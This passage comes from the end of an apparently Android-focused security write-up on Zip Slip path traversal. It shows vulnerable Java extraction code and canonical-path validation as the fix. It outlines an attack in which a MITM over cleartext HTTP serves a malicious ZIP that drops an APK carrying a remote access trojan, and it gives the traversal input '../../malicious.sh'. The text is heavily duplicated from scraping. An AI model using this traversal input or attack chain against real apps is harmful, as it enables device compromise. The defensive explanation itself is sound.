IOUtils.copy(input, write(f)); } As discussed above the following code is vulnerable to a zip slip attack because it does not perform sufficient validation of the file paths in the zip archive before extracting it. Here e.getName() can return filenames with dangerous relative paths, such as ../../malicious.sh . This means that the file can be extracted outside of the destinationDir yang ditentukan. e.getName() ../../malicious.sh destinationDir Example Validation Code: Example Validation Code: String canonicalDestinationDirPath = destinationDir.getCanonicalPath(); File destinationfile = new File(destinationDir, e.getName()); String canonicalDestinationFile = destinationfile.getCanonicalPath(); if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) { throw new ArchiverException("Entry is outside of the target dir: " + e.getName()); } String canonicalDestinationDirPath = destinationDir.getCanonicalPath(); File destinationfile = new File(destinationDir, e.getName()); String canonicalDestinationFile = destinationfile.getCanonicalPath(); if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) { throw new ArchiverException("Entry is outside of the target dir: " + e.getName()); } Explanation of mitigation measures: Explanation of mitigation measures: Using getCanonicalPath() : Using getCanonicalPath() getCanonicalPath() returns the absolute path of the file, which removes the relative symbols and ensures the received path is the correct path (without traversal). This code is used to get the absolute path of the destination directory (destinationDir) and destination file (destinationfile) to ensure no path traversal attempts occur. Checks whether the destination file is in a valid directory:destinationfile.getCanonicalPath() is used to get the absolute path of the file to be extracted. startsWith(canonicalDestinationDirPath + File.separator) ensures that the extracted files only reside within the legitimate destination directory. If the destination file is outside of the legitimate directory (for example, using path traversal to write a file outside of the destination directory), then this check will fail.' Throw an exception: If the destination file is outside the authorised directory (for example, trying to write outside the destination directory using the ../../, then this code will throw ArchiverException with an error message indicating that the entry is outside the desired destination directory. getCanonicalPath() returns the absolute path of the file, which removes the relative symbols and ensures the received path is the correct path (without traversal). getCanonicalPath() returns the absolute path of the file, which removes the relative symbols and ensures the received path is the correct path (without traversal). getCanonicalPath() This code is used to get the absolute path of the destination directory (destinationDir) and destination file (destinationfile) to ensure no path traversal attempts occur. This code is used to get the absolute path of the destination directory ( destinationDir ) and destination file ( destinationfile ) to ensure no path traversal attempts occur. destinationDir destinationfile Checks whether the destination file is in a valid directory:destinationfile.getCanonicalPath() is used to get the absolute path of the file to be extracted. Checks whether the destination file is in a valid directory: destinationfile.getCanonicalPath() is used to get the absolute path of the file to be extracted. Checks whether the destination file is in a valid directory: destinationfile.getCanonicalPath() startsWith(canonicalDestinationDirPath + File.separator) ensures that the extracted files only reside within the legitimate destination directory. If the destination file is outside of the legitimate directory (for example, using path traversal to write a file outside of the destination directory), then this check will fail.' Throw an exception: startsWith(canonicalDestinationDirPath + File.separator) ensures that the extracted files only reside within the legitimate destination directory. If the destination file is outside of the legitimate directory (for example, using path traversal to write a file outside of the destination directory), then this check will fail.' startsWith(canonicalDestinationDirPath + File.separator) Throw an exception : Throw an exception If the destination file is outside the authorised directory (for example, trying to write outside the destination directory using the ../../, If the destination file is outside the authorised directory (for example, trying to write outside the destination directory using the ../../ , ../../ then this code will throw ArchiverException with an error message indicating that the entry is outside the desired destination directory. then this code will throw ArchiverException with an error message indicating that the entry is outside the desired destination directory. ArchiverException Conclusion Cleartext traffic / http can cause Zip path traversal where the attacker can perform MITM Attack and manipulate data. Cleartext traffic / http The Zip Slip (Path Traversal) vulnerability exploited in this article shows how insecure applications handling compressed files can be exploited by attackers. In this scenario, a malicious ZIP file is hosted on a server and manipulated using HTTP Mock to direct the target application to extract the APK file to a specific directory on the victim's device. Zip Slip (Path Traversal) While these exploits capitalise on technical weaknesses, the important element is user interaction. The successful APK file is placed in the directory /sdcard/Download/ relies on the user to manually install, which can then run malicious code such as Remote Access Trojan (RAT) to give full control to the attacker, thus creating a scenario of Remote Code Execution (RCE) . /sdcard/Download/ Remote Code Execution (RCE) This article also highlights: Exploitation Validation: This exploit combines Path Traversal and social engineering techniques to succeed. Linkage to CVE: This kind of vulnerability has similarities with documented CVEs such as CVE-2018-1002201, which underlines the importance of secure compressed file management. Mitigation: Application developers should pay attention to file path sanitisation when handling ZIP files and avoid writing files to unwanted paths. Exploitation Validation: This exploit combines Path Traversal and social engineering techniques to succeed. Exploitation Validation: Linkage to CVE: This kind of vulnerability has similarities with documented CVEs such as CVE-2018-1002201 , which underlines the importance of secure compressed file management. Linkage to CVE: CVE-2018-1002201 Mitigation: Application developers should pay attention to file path sanitisation when handling ZIP files and avoid writing files to unwanted paths. Mitigation: Through this exploit, we learnt that even simple actions like extracting a ZIP file require additional security measures to prevent further exploitation. This kind of vulnerability shows that cybersecurity is not just about preventing technical exploits, but also about understanding how user interactions can be manipulated by attackers. Reference ZIP Slip: https://developer.android.com/privacy-and-security/risks/zip-path-traversal#java https://developer.android.com/privacy-and-security/risks/zip-path-traversal#java https://security.snyk.io/research/zip-slip-vulnerability https://security.snyk.io/research/zip-slip-vulnerability CVE: https://nvd.nist.gov/vuln/detail/CVE-2018-1002201 https://nvd.nist.gov/vuln/detail/CVE-2018-1002201 RCE: https://www.bugcrowd.com/glossary/remote-code-execution-rce/ https://www.bugcrowd.com/glossary/remote-code-execution-rce/
